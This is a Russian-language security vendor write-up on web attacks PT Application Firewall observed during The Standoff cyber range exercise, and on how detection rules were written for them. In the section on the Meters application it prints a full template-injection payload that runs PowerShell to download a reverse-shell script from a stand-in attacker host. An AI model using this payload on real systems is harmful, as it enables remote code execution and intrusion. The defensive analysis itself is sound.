На прошедшем The Standoff мы, команда PT Expert Security Center, параллельно с участниками противостояния со стороны защиты мониторили инфраструктуру площадки и отдельных офисов цифровой копии мегаполиса, развернутой на нашем киберполигоне. Для этого мы развернули дополнительный security operations center (SOC), который как бы накрыл всю инфраструктуру, за счет чего «видел» все активности участников The Standoff и даже немного больше. Одним из инструментов этого SOC был PT Application Firewall - межсетевой экран уровня веб-приложений (о результатах работы еще одного из инструментов нашего SOC - PT Sandbox - читайте в одной из наших предыдущих статей). Ниже речь пойдет исключительно о том, что происходило на площадке с точки зрения веба и какие цели выбирали команды атакующих.

Общая статистика по атакам

В рамках The Standoff мы мониторили атаки на портал самой площадки, а также на 30 веб-ресурсов, входящих в игровую инфраструктуру полигона. Это были ресурсы, задействованные как в основной игре (Meters офиса 25 Hours — ресурс передачи показаний счетчиков, Consul для Nuft — платформа управления сервисами, о которых пойдет речь ниже), так и в bug bounty (например, CMS Umbraco для Bank of FF, Mantis Bugtracker для 25 Hours — система отслеживания ошибок в программных продуктах, rConfir RCE — сервис управления сетевыми конфигурациями для Big Bro Group). Read teams получали баллы за реализацию рисков, а также за поиск уязвимостей в системах и репорты.

Кто был кто на киберполигоне:

- Heavy Ship Logistics — компания, которая управляла аэропортом, железнодорожной станцией, морским портом;

- 25 Hours — компания, управлявшая парком развлечений, деловым центром, светофорной сетью;

- Tube — компания, под управлением которой были телерадиокомпания, газораспределительная станция, трансформаторная подстанция;

- Nuft — организация, ведавшая нефтяным месторождением и нефтехимическим заводом; 

- Big Bro Group — электростанция;

- Bank of FF — банк. 

Ресурсы были равномерно распределены между площадками — как по уровню сложности, так и по назначению. В частности — приложения, участвующие в bug bounty, имеющие по два интерфейса и «смотрящие» во внутреннюю сеть виртуального офиса, являлись точкой входа для реализации рисков внутри компаний цифрового города. Таких приложений было 13. При этом шесть из них предполагали достижение цели bug bounty изнутри инфраструктуры офиса. Остальные приложения являлись «тупиковыми», то есть фактически были одиночными конечными целями с достаточно простыми задачами на эксплуатацию различных уязвимостей (например, известная RCE во Flack или же BookStore SQL Injection — часто предлагаемые для решения в capture the flag). Все эти порталы и приложения мы отслеживали исключительно в режиме мониторинга и зафиксировали атаки на 29 из 30 имеющихся в инфраструктуре веб-приложений (в одном из ресурсов была возможность для логических атак, которые можно было проводить только из сети банка). Единственным средством защиты, которым располагали защитники, был web application firewall.

Портал The Standoff также был заведен за PT Application Firewall — но уже в режиме блокирования и с целью предотвращения возможных атак на поддерживающую мероприятие инфраструктуру из интернета.

На рис. 1 представлено распределение атак по игровым дням. Серым цветом обозначены специфические сформированные правила для мероприятия, желтым — атаки низкого уровня опасности, оранжевым — среднего, красным — высокого. Последние часто говорят нам о тех или иных командах, запущенных на атакуемом узле, или же о проэксплуатированных уязвимостях. Далее мы будем использовать эти же цвета.

Список наиболее часто производимых атак приведен ниже (указано количество атак за весь период The Standoff с 12:00 12 ноября до 14:00 17 ноября).

Реальная картина проведенных атак и результаты мониторинга, полученные в PT Application Firewall, различаются, например, потому, что эксплуатация уязвимостей некоторых приложений проводилась уже изнутри периметра с внутренних адресов офиса защиты. Такие атаки могут фиксироваться внутренними средствами аудита. Кроме того, в любом из приложений могут быть использованы атаки, отличные от заложенных для игры, если итоговой целью не была эксплуатация конечной уязвимости. Данные о таких атаках могут фиксироваться не полностью, могут не отражаться в журналах.

Чаще всего атакующие выбирали целью приложения офисов Тube и Bank of FF: CMS Made Simple (CMS), bbord (виртуальная фотогалерея), CMS Umbraco, Prestoshop (сайт электронной коммерции), Avideo encoder (ресурс декодирования видео), FHEM tomcat (система умного дома), Consul, openEMR (электронная медицинская карта), ATutor (система управления обучением) и rConfig.

Как открывали двери в инфраструктуру через веб

Во время мониторинга мы проанализировали использованные атакующими инструменты для прохождения периметра. Наряду с традиционным прослушиванием портов с помощью nmap и инструментов типа Burp Suite большой популярностью пользовались самописные скрипты на Python и Go: они составляли почти четверть применяемых инструментов и зачастую использовались на базе уже имеющегося у атакующих инструментария типа Metasploit. Приложения на периметрах защитников активно фаззились с помощью встроенных модулей burp suite, модулей к Metasploit, Responder-инструментарием.

Из 30 задач, заложенных на периметре, решены все задачи низкого уровня сложности, 5 из 6 среднего и 2 из 6 повышенного. Задачи среднего и повышенного уровня сложности как раз представляют наибольший интерес, поскольку приводят ко входу в инфраструктуру для дальнейшей реализации рисков — и конечно, позволяют набрать наибольшее количество баллов.

Приведем примеры наиболее интересных задач.

Задача «Вход в пределы периметра управляющей компании города 25 Hours» была реализована через приложение Meters. Это сайт, развернутый для передачи показаний счетчиков воды и электричества онлайн. Так как приложение использует выражения на языке HubL, то {{}} является обработчиком выражений. Все, что попадает в фигурные скобки, заменяется фактическими значениями при обработке. Атака реализуется следующим образом: проверяется наличие уязвимости с помощью вектора {{7*7}} и подобных, то есть по факту запускается вычисление 7*7.

Для реализации реальной атаки необходимо выполнить запрос на фронтенде приложения:

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval("var x=new java.lang.ProcessBuilder(\"cmd.exe\",\"/c\",\"powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://attacker-ip/mini-reverse.ps1');\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())")}}.

Что и было проделано двумя командами атакующих.

Эта атака интересна с той точки зрения, что может служить отправной точкой для реализации векторов в парке развлечений цифрового города (например, для изменения скорости вращения колеса обозрения), в городе в целом (для нарушения работы светофорной сети) или же для кражи персональных данных горожан.

Еще одна интересная задача — атака, реализованная в компании Nuft через приложение Consul. На внешнем сервисе размещено ПО для обхода блокировок. С помощью него можно реализовать атаку Server Side Request Forgery, которая проводится по протоколу Gopher и направляется методом PUT на прослушиваемый сервисом порт.

Полученный после проведенной манипуляции статус 200 говорит об успешной атаке.

Получение доступа и закрепление на этом узле позволяло реализовать атаки на такие объекты цифрового города, как нефтяное месторождение (пример цели — технологический процесс транспортировки нефтепродуктов в хранилища) или нефтехимический завод (пример цели — процессы производства химических веществ).

Для обнаружения некоторых типов атак и выявления эксплуатируемых уязвимостей была проведена настройка срабатываний (устранение false positive) и написаны дополнительные правила выявления атак. Рассмотрим принципы написания таких правил.

Для фиксации основных типов атак и их выявления рассматриваются proofs of concept проведения атаки с уточнением пути, по которому производится атака. Правило формируется на основе указанного пути, параметра, в который производится внедрение той или иной комбинации символов, ссылки или кода.

Например, в CMS Umbraco (использовалась в инфраструктуре компании Bank of FF) есть уязвимость, эксплуатация которой осуществляется из-под аутентифицированного пользователя методом POST; с помощью фиксации пути эксплуатации и параметров эксплуатации атака и была зафиксирована.

Нетрудно догадаться, что для Meters, атака на который была описана выше, аналогично сформировано правило на основании описанных выше вводных — интерпретации и выполнения команд в фигурных скобках в одном из трех параметров.

Условие использования конечного приложения и request path применяется при необходимости обращений по конкретному пути.

В ходе такого анализа уязвимостей приложений было предварительно сформировано порядка 30 правил. Эти правила учитывают общую тенденцию, но не всегда покрывают все методы реализации атаки на то или иное приложение. Кроме заведомо известных и заложенных заранее векторов атак зачастую используются обходные пути. Например, вместо эксплуатации уязвимости на периметре с целью получения данных из базы атакующие получали доступ по альтернативному протоколу уже внутри сети (ODBC) или же делали backup и «вытаскивали» его через административные общие папки.

Выводы

Мы видим, что зачастую нападающие (в том числе и в рамках The Standoff) используют атаки на приложения, опубликованные на периметре, с целью получения первичного доступа и закрепления в инфраструктуре. Основным средством защиты таких приложений являются решения класса web application firewall. На киберполигоне PT Application Firewall показал свою эффективность в отслеживании различных атак на периметре, в том числе позволил формировать собственные правила для отслеживания атак. За счет удобного интерфейса и отображения как запросов, так и ответов приложения продукт позволил нам эффективно отсеивать false positive срабатывания, а также оценить спектр используемого атакующими инструментария.

Positive Technologies (PT Expert Security Center)